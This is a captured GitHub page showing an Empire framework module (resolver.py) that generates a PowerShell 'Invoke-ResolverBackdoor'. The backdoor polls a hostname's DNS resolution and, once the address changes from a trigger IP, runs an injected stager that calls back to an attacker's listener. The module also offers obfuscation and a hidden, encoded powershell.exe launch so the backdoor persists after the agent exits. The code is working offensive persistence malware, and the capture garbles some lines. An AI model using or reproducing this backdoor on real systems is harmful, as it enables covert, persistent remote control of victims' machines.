

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.



xorrior
Updated obfuscate function arguments in all powershell modules
2c7d625 · 7 years ago
 History

```

1      import os
2      from lib.common import helpers
3
4  class Module:
5
6      def __init__(self, mainMenu, params=[]):
7
8          self.info = {
9              'Name': 'Invoke-ResolverBackdoor',
10
11              'Author': ['@sixdub'],
12
13              'Description': ('Starts the Resolver Backdoor.'),
14
15              'Background' : False,
16
17              'OutputExtension' : None,
18
19              'NeedsAdmin' : False,
20
21              'OpsecSafe' : True,
22
23              'Language' : 'powershell',
24
25              'MinLanguageVersion' : '2',
26
27              'Comments': [
28                  'http://sixdub.net'
29              ]
30          }
31
32          # any options needed by the module, settable during runtime
33          self.options = {
34              # format:
35              #   value_name : {description, required, default_value}
36              'Agent' : {
37                  'Description'      : 'Agent to run module on.',
38                  'Required'        : True,
39                  'Value'           : ''
40              },
41              'Listener' : {
42                  'Description'      : 'Listener to use.',
43                  'Required'        : True,
44                  'Value'           : ''
45              },
46              'OutFile' : {
47                  'Description'      : 'Output the backdoor to a file instead of tasking t
48                  'Required'        : False,
49                  'Value'           : ''
50              },
51              'Hostname' : {
52                  'Description'      : 'Hostname to routinely check for a trigger.',
53                  'Required'        : True,
54                  'Value'           : ''
55          }

```

```

--
56         'Trigger' : {
57             'Description'      :   'The IP Address that the backdoor is looking for.',
58             'Required'        :   True,
59             'Value'           :   '127.0.0.1'
60         },
61         'Timeout' : {
62             'Description'      :   'Time (in seconds) to run the backdoor. Defaults to
63             'Required'        :   True,
64             'Value'           :   '0'
65         },
66         'Sleep' : {
67             'Description'      :   'Time (in seconds) to sleep between checks.',
68             'Required'        :   True,
69             'Value'           :   '30'
70         }
71     }
72
73     # save off a copy of the mainMenu object to access external functionality
74     #   like listeners/agent handlers/etc.
75     self.mainMenu = mainMenu
76
77     for param in params:
78         # parameter format is [Name, Value]
79         option, value = param
80         if option in self.options:
81             self.options[option]['Value'] = value
82
83
84     def generate(self, obfuscate=False, obfuscationCommand=""):
85
86         script = """
87 function Invoke-ResolverBackdoor
88 {
89     param(
90         [Parameter(Mandatory=$False,Position=1)]
91         [string]$Hostname,
92         [Parameter(Mandatory=$False,Position=2)]
93         [string]$Trigger="127.0.0.1",
94         [Parameter(Mandatory=$False,Position=3)]
95         [int] $Timeout=0,
96         [Parameter(Mandatory=$False,Position=4)]
97         [int] $Sleep=30
98     )
99
100     $running=$True
101     $match = ""
102     $starttime = Get-Date
103     while($running)
104     {
105         if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout)
106         {
107             $running=$False
108         }
109
110         try {
111             $ips = [System.Net.Dns]::GetHostAddresses($Hostname)
112             foreach ($addr in $ips)
113             {
114                 $resolved=$addr.IPAddressToString
115                 if($resolved -ne $Trigger)
116                 {
117                     $running=$False
118                     REPLACE_LAUNCHER
119                 }
120             }
121         }
122         catch [System.Net.Sockets.SocketException]{
123
124         }
125         Start-Sleep -s $Sleep
126     }
127 }
128 Invoke-ResolverBackdoor"""
129

```

Files

e37fb2e

Q

Q

Go to file

> .github

> data

lib

> common

> listeners

modules

> exfiltration

> external

powershell

> code_execution

> collection

> credentials

> exfiltration

> exploitation

> lateral_movement

> management

persistence

> elevated

> misc

powerbreach

deaduser.py

eventlog.py

resolver.py

> userland

> privesc

> recon

Empire

/ lib / modules / powershell / persistence / powerbreach / resolver.py

↑ Top

Code

Blame

187 lines (155 loc) · 6.43 KB

Raw

130

listenerName = self.options['Listener']['Value']

131

132

if not self.mainMenu.listeners.is_listener_valid(listenerName):

133

not a valid listener, return nothing for the script

134

print helpers.color("[!] Invalid listener: " + listenerName)

135

return ""

136

137

else:

138

set the listener value for the launcher

139

stager = self.mainMenu.stagers.stagers["multi/launcher"]

140

stager.options['Listener']['Value'] = listenerName

141

stager.options['Base64']['Value'] = "False"

142

143

and generate the code

144

stagerCode = stager.generate()

145

146

if stagerCode == "":

147

return ""

148

else:

149

script = script.replace("REPLACE_LAUNCHER", stagerCode)

150

script = script.encode('ascii', 'ignore')

151

152

for option,values in self.options.iteritems():

153

if option.lower() != "agent" and option.lower() != "listener" and option.lo

154

if values['Value'] and values['Value'] != '':

160

161

outFile = self.options['OutFile']['Value']

162

if outFile != '':

163

make the base directory if it doesn't exist

164

if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile

165

os.makedirs(os.path.dirname(outFile))

166

167

f = open(outFile, 'w')

168

f.write(script)

169

f.close()

170

171

print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFi

172

return ""

173

174

if obfuscate:

175

script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfu

176

transform the backdoor into something launched by powershell.exe

177

so it survives the agent exiting

178

modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "

179

launcher = helpers.powershell_launcher(script, modifiable_launcher)

180

stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher

181

parts = stagerCode.split(" ")

182

183

set up the start-process command so no new windows appears

184

scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s';

185

if obfuscate:

186

scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scri

187

return scriptLauncher

Page 3 of 3